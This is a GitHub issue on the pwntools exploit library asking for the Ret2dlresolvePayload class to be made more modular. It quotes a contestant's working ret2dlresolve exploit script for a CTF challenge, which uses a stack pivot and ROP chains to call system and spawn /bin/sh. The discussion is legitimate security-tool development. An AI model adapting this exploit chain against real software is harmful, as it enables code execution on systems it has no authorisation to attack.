Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

make Ret2dlresolvePayload more modular #2429

Open
k4lizen opened this issue Jul 24, 2024 · 0 comments
Open

make Ret2dlresolvePayload more modular #2429

k4lizen opened this issue Jul 24, 2024 · 0 comments
Labels

Comments

@k4lizen
Copy link
Contributor

k4lizen commented Jul 24, 2024

Currently using rop.ret2dlresolve along with Ret2dlresolvePayload doesn't succesfully cover many cases where ret2dlresolve is exploitable. Namely this is because it looks for a gadget allowing it to control rdi and fails to account that:

  1. One can often control rdi by pivoting the stack as rdi points at a buffer relative to rbp
  2. Many libc io functions leave rdi at a RW- mapping in libc

That being said it would be nice if pwntools made creating a "manual" ret2resolve exploit easier by making Ret2dlresolvePayload more modular. Currently its main purpose is just to be passed to rop.ret2dlresolve as its doc says, but it can be useful on its own. For example this was a solution for amateursctf reflection that was submitted by a contestant:

    rop1 = ROP(exe)
    rop2 = ROP(exe)
    dlr = Ret2dlresolvePayload(exe, symbol="system", args=["/bin/sh"])

    pivot = 0x404d00
    rop1.raw(0x40112e)
    r.sendline(b"A"*13 + p64(pivot) + rop1.chain())
    rop2.raw(exe.sym.gets)
    rop2.raw(0x401001)
    rop2.raw(0x401020)
    rop2.raw(dlr.reloc_index)
    r.sendline(b"A"*21 + rop2.chain().ljust(0xf8, b"A") + dlr.payload)
    r.sendline(b"//////bin/sh\x00")
    r.interactive()

The official solution doesn't even use Ret2dlresolvePayload, probably because the author found it easier to write the exploit from scratch than try to wrangle Ret2dlresolvePayload into working.

Currently the class is hard to work with for the following three reasons:

  1. The documentation sucks and one needs to read the source code to be able to use it and access its variables, and a useful parameter (data_addr=None) is completely undocumented.
  2. It isn't possible to set where the address of the resolved function will be saved. Currently it's simply saved to the beginning of the payload. Saving it to a custom address (particularly a GOT entry) would be really useful as one could just ret into the function being used for user input instead of having to do pop rax; jmp rax;-type shenanigens which is often impossible due to the given gadgets.
  3. There isn't a way to access the addresses of the saved arguments. Just having an array like arg_addr[] would allow one to use a trick like the stack pivot - rbp -> rdi control to pass arguments to the function. Notice that the example exploit above passes /bin/sh as an argument but doesn't use it at all. Why is args even a mandatory argument to the class constructor?
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant